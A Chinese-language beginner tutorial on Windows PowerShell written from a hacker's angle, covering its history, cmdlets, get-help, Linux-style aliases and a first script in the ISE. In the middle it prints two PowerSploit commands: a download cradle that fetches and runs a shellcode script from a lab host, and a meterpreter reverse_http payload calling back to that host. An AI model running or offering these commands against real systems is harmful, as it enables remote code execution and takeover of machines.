黑客如何玩powershell指令碼?
我堅信要成為一名真正的職業黑客,您需要精通 Linux。這有很多很好的理由。
大多數黑客工具都是在 Linux 中開發的(超過 90%)。
Linux 為我們提供了更大粒度的控制。
Linux 中的終端讓我們可以完全控制作業系統,而 Windows 中的 cmd.exe 功能有限。
最重要的是,Linux 是開源且透明的。
這意味著我們實際上可以看到原始碼並在很大程度上比封閉源和不透明的Windows作業系統更大程度地操縱作業系統。
近年來,微軟似乎已經“承認”了Linux中命令列和終端的優勢。他們現在似乎瞭解了命令列的優勢和優勢,並作為迴應引入了 Windows PowerShell。
PowerShell 背景
早在 1990 年代,微軟就已經認識到他們的 cmd.exe 的侷限性,並試圖用一堆變通方法來解決它。2002 年,Microsoft 釋出了一份關於正在開發的產品的白皮書,稱為 MONAD,或 Microsoft Shell。最終,Windows PowerShell 在 2007 年作為附加元件釋出,Windows PowerShell 2.0 完全整合到 Windows 7 和 Windows Server 2008 以及此後的所有 Windows 作業系統中。
Windows PowerShell 從 Linux 環境中借鑑了很多內容,包括許多 Linux 命令。它還包括將命令和連結命令連線到指令碼的能力。
有了 PowerShell 能力,Windows 就成為了一個更強大的黑客平臺,但在微軟將其原始碼開源之前,Linux 仍將是黑客首選的作業系統。
另一方面,目標Windows 系統上的 PowerShell 可用於利用或破壞它。例如,這些 PowerShell 命令用於 PowerSploit 漏洞利用;
PS>IEX(New-Object Net.WebClient).DownloadString("http://192.168.181.128:8000/CodeExecution/Invoke-Shellcode.ps1")
PS > Invoke-Shellcode -Payload windows/meterpreter/reverse_http -lhost 192.168.181.128 -lport 4444 -Force
我的觀點很簡單,Powershell 對 Windows 管理員來說是一個很棒的工具,但為黑客增加了一個攻擊向量。因此,您應該熟悉它。
Cmdlet
Windows PowerShell 和 Linux 中的 BASH shell 之間的主要區別之一是 Microsoft 為 PowerShell 開發了 cmdlet(command-let)。它們 cmdlet 本質上是完成有時更復雜任務的單個命令,類似於函式。這些 cmdlet 採用動詞名詞的形式,例如“get-help”。
第 1 步:開啟 Powershell
許多系統管理員和使用者並不知道在熟悉的 Windows GUI 下隱藏著一個強大的工具和引擎來操作 Windows。您可以通過在“開始”或“Windows”按鈕的搜尋視窗中鍵入“powershell”並單擊“PowerShell”來訪問它。
當它開啟時,您應該會看到一個如下所示的螢幕。
第 2 步:獲得幫助
我們開啟 PowerShell 終端,我們首先要探索的是如何獲得幫助。PowerShell 有一個名為——不出所料——“get-help”的 cmdlet。
當我們輸入“get-help”時,我們會收到類似上面的幫助螢幕。Microsoft 為這個 cmdlet 設定了別名,以便“help”和 Linux 命令“man”完成相同的操作
第 3 步:上下文相關幫助
正如您在Linux中所記得的那樣,您可以通過在命令前加上關鍵字“man”來檢視 Linux 中任何命令的手冊頁。同樣,在 Windows PowerShell 中,您可以使用“get-help”後跟 cmdlet 來檢視手冊頁。讓我們獲取名為“Write-Output”的 cmdlet 的手冊頁。
PS > get-help Write-Output
在上面看到 PowerShell 返回 cmdlet 的手冊頁“Write-Output”。正如我上面提到的,“man”和“help”都將提取相同的上下文相關資訊。
第 4 步:執行與 Linux 相同的命令
微軟認識到 Linux 系統管理員更習慣於從命令列工作並鼓勵他們採用和使用 PowerShell,他們將許多最常見的 Linux 命令別名為 PowerShell。
PowerShell 中可用的一些 Linux 命令包括但不限於以下內容。
·grep
·cat
·ps
·mv
·rm
·echo
·pwd
·kill
·export
·cp
·pwd
下面的列表包括許多最常用的 cmdlet 及其在 cmd.exe 和 Linux/UNIX 中的別名。
很多時候,這些 PowerShell cmd-let 看起來比 Linux 或別名命令有點笨拙。例如,cmd.exe 中的“dir”命令或 Linux 中的“ls”命令在 PowerShell 中是“Get-Childitem”。
第 5 步:使用整合指令碼環境
要在 PowerShell 中建立指令碼,類似於 Linux,您可以使用記事本或其他文字編輯器,例如 Notepad 。此外,PowerShell 附帶一個我們可以使用的整合指令碼環境 (ISE)。
進入 ISE 的方法有很多,但最簡單的方法可能是轉到“搜尋”視窗並輸入“Powershell”。您將看到除了 PowerShell 環境之外,您還可以選擇 PowerShell ISE。
這將開啟 PowerShell ISE,如下所示。
第 6 步:Hello Hackers-Arise!
開始使用任何程式語言時,都需要編寫無處不在的“Hello World”程式,我們將在這裡建立自己的“Hello Hackers-Arise”指令碼。
開啟 ISE 後,我們可以鍵入:
寫輸出“Hello Hackers-Arise!”
就像在 Linux 終端中一樣,我們將字串“Hello World”括在雙引號中,表示我們希望輸出字串文字(意味著我們想要這些人類語言單詞而不是計算機命令)。
然後我們可以單擊綠色的執行按鈕來執行我們的指令碼,輸出將出現在中間螢幕上,如上圖所示。
然後,我們可以通過轉到“檔案”選單並選擇“儲存”來儲存此指令碼。當您這樣做時,它會提示您輸入檔名,然後將其儲存為 .ps1 副檔名。
我們可以通過開啟執行 Hello Hackers-Arise.ps1 的 PowerShell 環境或在指令碼開啟的情況下單擊 ISE 上的綠色箭頭來執行此指令碼。
我們剛剛瞭解了 PowerShell 可以做什麼,並且我們建立了一個簡單的單行指令碼,但在未來的教程中,我們將從攻擊者的角度深入研究 PowerShell 的功能。我們將使用 PowerShell 開發一個埠掃描器。